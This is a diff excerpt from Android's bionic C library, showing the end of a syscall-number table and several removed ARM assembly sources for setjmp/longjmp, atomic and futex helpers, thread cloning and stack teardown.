||||
int chdir (const char*) 12
|
||||
int mknod (const char*, mode_t, dev_t) 14
|
||||
int chmod (const char*,mode_t) 15
|
||||
int chown:chown32(const char *, uid_t, gid_t) 212
|
||||
int lchown:lchown32 (const char*, uid_t, gid_t) 198
|
||||
int mount (const char*, const char*, const char*, unsigned long, const void*) 21
|
||||
int umount(const char*) stub
|
||||
int umount2 (const char*, int) 52
|
||||
int fstat:fstat64(int, struct stat*) 197
|
||||
int stat:stat64(const char *, struct stat *) 195
|
||||
int lstat:lstat64(const char *, struct stat *) 196
|
||||
int mkdir(const char *, mode_t) 39
|
||||
int readlink(const char *, char *, size_t) 85
|
||||
int rmdir(const char *) 40
|
||||
int rename(const char *, const char *) 38
|
||||
int __getcwd:getcwd(char * buf, size_t size) 183
|
||||
int access(const char *, int) 33
|
||||
int symlink(const char *, const char *) 83
|
||||
int fchdir(int) 133
|
||||
int truncate(const char*, off_t) 92
|
||||
int __statfs64:statfs64(const char *, size_t, struct statfs *) 266,268
|
||||
# time
|
||||
int pause () 29
|
||||
int gettimeofday(struct timeval*, struct timezone*) 78
|
||||
int settimeofday(const struct timeval*, const struct timezone*) 79
|
||||
clock_t times(struct tms *) 43
|
||||
int nanosleep(const struct timespec *, struct timespec *) 162
|
||||
int clock_gettime(clockid_t clk_id, struct timespec *tp) 263,265
|
||||
int clock_settime(clockid_t clk_id, const struct timespec *tp) 262,264
|
||||
int clock_getres(clockid_t clk_id, struct timespec *res) 264,266
|
||||
int clock_nanosleep(const struct timespec *req, struct timespec *rem) 265,267
|
||||
int getitimer(int, const struct itimerval *) 105
|
||||
int setitimer(int, const struct itimerval *, struct itimerval *) 104
|
||||
int __timer_create:timer_create(clockid_t clockid, struct sigevent *evp, timer_t *timerid) 257,259
|
||||
int __timer_settime:timer_settime(timer_t, int, const struct itimerspec*, struct itimerspec*) 258,260
|
||||
int __timer_gettime:timer_gettime(timer_t, struct itimerspec*) 259,261
|
||||
int __timer_getoverrun:timer_getoverrun(timer_t) 260,262
|
||||
int __timer_delete:timer_delete(timer_t) 261,263
|
||||
int utimes(const char*, const struct timeval tvp[2]) 269, 271
|
||||
|
||||
# signals
|
||||
int sigaction(int, const struct sigaction *, struct sigaction *) -1,67,67
|
||||
int sigprocmask(int, const sigset_t *, sigset_t *) 126
|
||||
int __sigsuspend:sigsuspend(int unused1, int unused2, unsigned mask) 72
|
||||
int __rt_sigaction:rt_sigaction (int sig, const struct sigaction *act, struct sigaction *oact, size_t sigsetsize) 174
|
||||
int __rt_sigprocmask:rt_sigprocmask (int how, const sigset_t *set, sigset_t *oset, size_t sigsetsize) 175
|
||||
int __rt_sigtimedwait:rt_sigtimedwait(const sigset_t *set, struct siginfo_t *info, struct timespec_t *timeout, size_t sigset_size) 177
|
||||
int sigpending(sigset_t *) 73
|
||||
|
||||
# special stub for ARM, see arch-arm/bionic/sigaction.c
|
||||
int __sigaction:sigaction(int, const struct sigaction *, struct sigaction *) 67,-1,-1
|
||||
|
||||
# sockets
|
||||
int socket(int, int, int) 281,-1
|
||||
int socketpair(int, int, int, int*) 288,-1
|
||||
int bind(int, struct sockaddr *, int) 282,-1
|
||||
int connect(int, struct sockaddr *, socklen_t) 283,-1
|
||||
int listen(int, int) 284,-1
|
||||
int accept(int, struct sockaddr *, socklen_t *) 285,-1
|
||||
int getsockname(int, struct sockaddr *, socklen_t *) 286,-1
|
||||
int getpeername(int, struct sockaddr *, socklen_t *) 287,-1
|
||||
int sendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t) 290,-1
|
||||
int recvfrom(int, void *, size_t, unsigned int, struct sockaddr *, socklen_t *) 292,-1
|
||||
int shutdown(int, int) 293,-1
|
||||
int setsockopt(int, int, int, const void *, socklen_t) 294,-1
|
||||
int getsockopt(int, int, int, void *, socklen_t *) 295,-1
|
||||
int sendmsg(int, const struct msghdr *, unsigned int) 296,-1
|
||||
int recvmsg(int, struct msghdr *, unsigned int) 297,-1
|
||||
|
||||
# sockets for x86. These are done as an "indexed" call to socketcall syscall.
|
||||
int socket:socketcall:1 (int, int, int) -1,102,-1
|
||||
int bind:socketcall:2 (int, struct sockaddr *, int) -1,102,-1
|
||||
int connect:socketcall:3(int, struct sockaddr *, socklen_t) -1,102,-1
|
||||
int listen:socketcall:4(int, int) -1,102,-1
|
||||
int accept:socketcall:5(int, struct sockaddr *, socklen_t *) -1,102,-1
|
||||
int getsockname:socketcall:6(int, struct sockaddr *, socklen_t *) -1,102,-1
|
||||
int getpeername:socketcall:7(int, struct sockaddr *, socklen_t *) -1,102,-1
|
||||
int socketpair:socketcall:8(int, int, int, int*) -1,102,-1
|
||||
int sendto:socketcall:11(int, const void *, size_t, int, const struct sockaddr *, socklen_t) -1,102,-1
|
||||
int recvfrom:socketcall:12(int, void *, size_t, unsigned int, struct sockaddr *, socklen_t *) -1,102,-1
|
||||
int shutdown:socketcall:13(int, int) -1,102,-1
|
||||
int setsockopt:socketcall:14(int, int, int, const void *, socklen_t) -1,102,-1
|
||||
int getsockopt:socketcall:15(int, int, int, void *, socklen_t *) -1,102,-1
|
||||
int sendmsg:socketcall:16(int, const struct msghdr *, unsigned int) -1,102,-1
|
||||
int recvmsg:socketcall:17(int, struct msghdr *, unsigned int) -1,102,-1
|
||||
|
||||
# sockets for sh.
|
||||
int __socketcall:__socketcall(int, unsigned long*) -1,-1,102
|
||||
|
||||
# scheduler & real-time
|
||||
int sched_setscheduler(pid_t pid, int policy, const struct sched_param *param) 156
|
||||
int sched_getscheduler(pid_t pid) 157
|
||||
int sched_yield(void) 158
|
||||
int sched_setparam(pid_t pid, const struct sched_param *param) 154
|
||||
int sched_getparam(pid_t pid, struct sched_param *param) 155
|
||||
int sched_get_priority_max(int policy) 159
|
||||
int sched_get_priority_min(int policy) 160
|
||||
int sched_rr_get_interval(pid_t pid, struct timespec *interval) 161
|
||||
|
||||
# io priorities
|
||||
int ioprio_set(int which, int who, int ioprio) 314,289
|
||||
int ioprio_get(int which, int who) 315,290
|
||||
|
||||
# other
|
||||
int uname(struct utsname *) 122
|
||||
pid_t __wait4:wait4(pid_t pid, int *status, int options, struct rusage *rusage) 114
|
||||
mode_t umask(mode_t) 60
|
||||
int __reboot:reboot(int, int, int, void *) 88
|
||||
int __syslog:syslog(int, char *, int) 103
|
||||
int init_module(void *, unsigned long, const char *) 128
|
||||
int delete_module(const char*, unsigned int) 129
|
||||
int klogctl:syslog(int, char *, int) 103
|
||||
|
||||
# futex
|
||||
int futex(void *, int, int, void *, void *, int) 240
|
||||
|
||||
# epoll
|
||||
int epoll_create(int size) 250,254
|
||||
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event) 251,255
|
||||
int epoll_wait(int epfd, struct epoll_event *events, int max, int timeout) 252,256
|
||||
|
||||
int inotify_init(void) 316,291,290
|
||||
int inotify_add_watch(int, const char *, unsigned int) 317,292,291
|
||||
int inotify_rm_watch(int, unsigned int) 318,293,292
|
||||
|
||||
int poll(struct pollfd *, unsigned int, long) 168
|
||||
|
||||
# ARM-specific ARM_NR_BASE == 0x0f0000 == 983040
|
||||
int __set_tls:ARM_set_tls(void*) 983045,-1
|
||||
int cacheflush:ARM_cacheflush(long start, long end, long flags) 983042,-1
|
|
@ -1,34 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
.global __get_pc
|
||||
.type __get_pc, %function
|
||||
|
||||
__get_pc:
|
||||
mov r0, pc
|
||||
bx lr
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
.global __get_sp
|
||||
.type __get_sp, %function
|
||||
|
||||
__get_sp:
|
||||
mov r0, sp
|
||||
bx lr
|
||||
|
|
@ -1,7 +0,0 @@
|
|||
.global __sig_restorer
|
||||
|
||||
/* This is the opcode sequence GDB looks for in order to recognize
|
||||
this stack frame as a signal trampoline (see sigaction.c) */
|
||||
__sig_restorer:
|
||||
mov r7, #119 /* __NR_sigreturn */
|
||||
swi #0
|
|
@ -1,55 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <asm/unistd.h>
|
||||
|
||||
.text
|
||||
.type _exit_with_stack_teardown, #function
|
||||
.globl _exit_with_stack_teardown
|
||||
.align 4
|
||||
|
||||
@ void _exit_with_stack_teardown(void * stackBase, int stackSize, int retCode)
|
||||
|
||||
_exit_with_stack_teardown:
|
||||
|
||||
#if __ARM_EABI__
|
||||
mov lr, r2
|
||||
ldr r7, =__NR_munmap
|
||||
swi #0 @ the stack is destroyed by this call
|
||||
mov r0, lr
|
||||
ldr r7, =__NR_exit
|
||||
swi #0
|
||||
#else
|
||||
mov lr, r2
|
||||
swi # __NR_munmap @ the stack is destroyed by this call
|
||||
mov r0, lr
|
||||
swi # __NR_exit
|
||||
#endif
|
||||
|
||||
@ exit() should never return, cause a crash if it does
|
||||
mov r0, #0
|
||||
ldr r0, [r0]
|
|
@ -1,106 +0,0 @@
|
|||
/* $OpenBSD: _setjmp.S,v 1.2 2004/02/01 05:40:52 drahn Exp $ */
|
||||
/* $NetBSD: _setjmp.S,v 1.5 2003/04/05 23:08:51 bjh21 Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1997 Mark Brinicombe
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by Mark Brinicombe
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/asm.h>
|
||||
#include <machine/setjmp.h>
|
||||
|
||||
/*
|
||||
* C library -- _setjmp, _longjmp
|
||||
*
|
||||
* _longjmp(a,v)
|
||||
* will generate a "return(v)" from the last call to
|
||||
* _setjmp(a)
|
||||
* by restoring registers from the stack.
|
||||
* The previous signal state is NOT restored.
|
||||
*
|
||||
* Note: r0 is the return value
|
||||
* r1-r3 are scratch registers in functions
|
||||
*/
|
||||
|
||||
ENTRY(_setjmp)
|
||||
ldr r1, .L_setjmp_magic
|
||||
str r1, [r0], #4
|
||||
#ifdef SOFTFLOAT
|
||||
add r0, r0, #52
|
||||
#else
|
||||
/* Store fp registers */
|
||||
sfm f4, 4, [r0], #48
|
||||
/* Store fpsr */
|
||||
rfs r1
|
||||
str r1, [r0], #0x0004
|
||||
#endif /* SOFTFLOAT */
|
||||
/* Store integer registers */
|
||||
stmia r0, {r4-r14}
|
||||
|
||||
mov r0, #0x00000000
|
||||
bx lr
|
||||
|
||||
.L_setjmp_magic:
|
||||
.word _JB_MAGIC__SETJMP
|
||||
|
||||
ENTRY(_longjmp)
|
||||
ldr r2, .L_setjmp_magic
|
||||
ldr r3, [r0], #4
|
||||
teq r2, r3
|
||||
bne botch
|
||||
|
||||
#ifdef SOFTFLOAT
|
||||
add r0, r0, #52
|
||||
#else
|
||||
/* Restore fp registers */
|
||||
lfm f4, 4, [r0], #48
|
||||
/* Restore fpsr */
|
||||
ldr r4, [r0], #0x0004
|
||||
wfs r4
|
||||
#endif /* SOFTFLOAT */
|
||||
/* Restore integer registers */
|
||||
ldmia r0, {r4-r14}
|
||||
|
||||
/* Validate sp and r14 */
|
||||
teq sp, #0
|
||||
teqne r14, #0
|
||||
beq botch
|
||||
|
||||
/* Set return value */
|
||||
mov r0, r1
|
||||
teq r0, #0x00000000
|
||||
moveq r0, #0x00000001
|
||||
bx lr
|
||||
|
||||
/* validation failed, die die die. */
|
||||
botch:
|
||||
bl PIC_SYM(_C_LABEL(longjmperror), PLT)
|
||||
bl PIC_SYM(_C_LABEL(abort), PLT)
|
||||
b . - 8 /* Cannot get here */
|
|
@ -1,230 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.global __atomic_cmpxchg
|
||||
.type __atomic_cmpxchg, %function
|
||||
.global __atomic_swap
|
||||
.type __atomic_swap, %function
|
||||
.global __atomic_dec
|
||||
.type __atomic_dec, %function
|
||||
.global __atomic_inc
|
||||
.type __atomic_inc, %function
|
||||
|
||||
#define FUTEX_WAIT 0
|
||||
#define FUTEX_WAKE 1
|
||||
|
||||
#if 1
|
||||
.equ kernel_cmpxchg, 0xFFFF0FC0
|
||||
.equ kernel_atomic_base, 0xFFFF0FFF
|
||||
__atomic_dec:
|
||||
.fnstart
|
||||
.save {r4, lr}
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r2, r0
|
||||
1: @ atomic_dec
|
||||
ldr r0, [r2]
|
||||
mov r3, #kernel_atomic_base
|
||||
add lr, pc, #4
|
||||
sub r1, r0, #1
|
||||
add pc, r3, #(kernel_cmpxchg - kernel_atomic_base)
|
||||
bcc 1b
|
||||
add r0, r1, #1
|
||||
ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
__atomic_inc:
|
||||
.fnstart
|
||||
.save {r4, lr}
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r2, r0
|
||||
1: @ atomic_inc
|
||||
ldr r0, [r2]
|
||||
mov r3, #kernel_atomic_base
|
||||
add lr, pc, #4
|
||||
add r1, r0, #1
|
||||
add pc, r3, #(kernel_cmpxchg - kernel_atomic_base)
|
||||
bcc 1b
|
||||
sub r0, r1, #1
|
||||
ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
/* r0(old) r1(new) r2(addr) -> r0(zero_if_succeeded) */
|
||||
__atomic_cmpxchg:
|
||||
.fnstart
|
||||
.save {r4, lr}
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r4, r0 /* r4 = save oldvalue */
|
||||
1: @ atomic_cmpxchg
|
||||
mov r3, #kernel_atomic_base
|
||||
add lr, pc, #4
|
||||
mov r0, r4 /* r0 = oldvalue */
|
||||
add pc, r3, #(kernel_cmpxchg - kernel_atomic_base)
|
||||
bcs 2f /* swap was made. we're good, return. */
|
||||
ldr r3, [r2] /* swap not made, see if it's because *ptr!=oldvalue */
|
||||
cmp r3, r4
|
||||
beq 1b
|
||||
2: @ atomic_cmpxchg
|
||||
ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
#else
|
||||
#define KUSER_CMPXCHG 0xffffffc0
|
||||
|
||||
/* r0(old) r1(new) r2(addr) -> r0(zero_if_succeeded) */
|
||||
__atomic_cmpxchg:
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r4, r0 /* r4 = save oldvalue */
|
||||
1: add lr, pc, #4
|
||||
mov r0, r4 /* r0 = oldvalue */
|
||||
mov pc, #KUSER_CMPXCHG
|
||||
bcs 2f /* swap was made. we're good, return. */
|
||||
ldr r3, [r2] /* swap not made, see if it's because *ptr!=oldvalue */
|
||||
cmp r3, r4
|
||||
beq 1b
|
||||
2: ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
|
||||
/* r0(addr) -> r0(old) */
|
||||
__atomic_dec:
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r2, r0 /* address */
|
||||
1: ldr r0, [r2] /* oldvalue */
|
||||
add lr, pc, #4
|
||||
sub r1, r0, #1 /* newvalue = oldvalue - 1 */
|
||||
mov pc, #KUSER_CMPXCHG
|
||||
bcc 1b /* no swap, try again until we get it right */
|
||||
mov r0, ip /* swapped, return the old value */
|
||||
ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
|
||||
/* r0(addr) -> r0(old) */
|
||||
__atomic_inc:
|
||||
stmdb sp!, {r4, lr}
|
||||
mov r2, r0 /* address */
|
||||
1: ldr r0, [r2] /* oldvalue */
|
||||
add lr, pc, #4
|
||||
add r1, r0, #1 /* newvalue = oldvalue + 1 */
|
||||
mov pc, #KUSER_CMPXCHG
|
||||
bcc 1b /* no swap, try again until we get it right */
|
||||
mov r0, ip /* swapped, return the old value */
|
||||
ldmia sp!, {r4, lr}
|
||||
bx lr
|
||||
#endif
|
||||
|
||||
/* r0(new) r1(addr) -> r0(old) */
|
||||
/* replaced swp instruction with ldrex/strex for ARMv6 & ARMv7 */
|
||||
__atomic_swap:
|
||||
#if defined (_ARM_HAVE_LDREX_STREX)
|
||||
1: ldrex r2, [r1]
|
||||
strex r3, r0, [r1]
|
||||
teq r3, #0
|
||||
bne 1b
|
||||
mov r0, r2
|
||||
mcr p15, 0, r0, c7, c10, 5 /* or, use dmb */
|
||||
#else
|
||||
swp r0, r0, [r1]
|
||||
#endif
|
||||
bx lr
|
||||
|
||||
/* __futex_wait(*ftx, val, *timespec) */
|
||||
/* __futex_wake(*ftx, counter) */
|
||||
/* __futex_syscall3(*ftx, op, val) */
|
||||
/* __futex_syscall4(*ftx, op, val, *timespec) */
|
||||
|
||||
.global __futex_wait
|
||||
.type __futex_wait, %function
|
||||
|
||||
.global __futex_wake
|
||||
.type __futex_wake, %function
|
||||
|
||||
.global __futex_syscall3
|
||||
.type __futex_syscall3, %function
|
||||
|
||||
.global __futex_syscall4
|
||||
.type __futex_syscall4, %function
|
||||
|
||||
#if __ARM_EABI__
|
||||
|
||||
__futex_syscall3:
|
||||
.fnstart
|
||||
stmdb sp!, {r4, r7}
|
||||
.save {r4, r7}
|
||||
ldr r7, =__NR_futex
|
||||
swi #0
|
||||
ldmia sp!, {r4, r7}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
__futex_wait:
|
||||
.fnstart
|
||||
stmdb sp!, {r4, r7}
|
||||
.save {r4, r7}
|
||||
mov r3, r2
|
||||
mov r2, r1
|
||||
mov r1, #FUTEX_WAIT
|
||||
ldr r7, =__NR_futex
|
||||
swi #0
|
||||
ldmia sp!, {r4, r7}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
__futex_wake:
|
||||
stmdb sp!, {r4, r7}
|
||||
mov r2, r1
|
||||
mov r1, #FUTEX_WAKE
|
||||
ldr r7, =__NR_futex
|
||||
swi #0
|
||||
ldmia sp!, {r4, r7}
|
||||
bx lr
|
||||
|
||||
#else
|
||||
|
||||
__futex_syscall3:
|
||||
swi #__NR_futex
|
||||
bx lr
|
||||
|
||||
__futex_wait:
|
||||
mov r3, r2
|
||||
mov r2, r1
|
||||
mov r1, #FUTEX_WAIT
|
||||
swi #__NR_futex
|
||||
bx lr
|
||||
|
||||
__futex_wake:
|
||||
mov r2, r1
|
||||
mov r1, #FUTEX_WAKE
|
||||
swi #__NR_futex
|
||||
bx lr
|
||||
|
||||
#endif
|
||||
|
||||
__futex_syscall4:
|
||||
b __futex_syscall3
|
|
@ -1,128 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008-2010 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
.text
|
||||
.type __pthread_clone, #function
|
||||
.global __pthread_clone
|
||||
.align 4
|
||||
.fnstart
|
||||
|
||||
__pthread_clone:
|
||||
@ insert the args onto the new stack
|
||||
str r0, [r1, #-4]
|
||||
str r3, [r1, #-8]
|
||||
|
||||
@ do the system call
|
||||
@ get flags
|
||||
|
||||
mov r0, r2
|
||||
|
||||
@ new sp is already in r1
|
||||
|
||||
#if __ARM_EABI__
|
||||
stmfd sp!, {r4, r7}
|
||||
ldr r7, =__NR_clone
|
||||
swi #0
|
||||
#else
|
||||
swi #__NR_clone
|
||||
#endif
|
||||
|
||||
movs r0, r0
|
||||
#if __ARM_EABI__
|
||||
ldmnefd sp!, {r4, r7}
|
||||
#endif
|
||||
blt __error
|
||||
bxne lr
|
||||
|
||||
|
||||
@ pick the function arg and call address off the stack and jump
|
||||
@ to the C __thread_entry function which does some setup and then
|
||||
@ calls the thread's start function
|
||||
|
||||
ldr r0, [sp, #-4]
|
||||
ldr r1, [sp, #-8]
|
||||
mov r2, sp @ __thread_entry needs the TLS pointer
|
||||
b __thread_entry
|
||||
|
||||
__error:
|
||||
mov r0, #-1
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
|
||||
#
|
||||
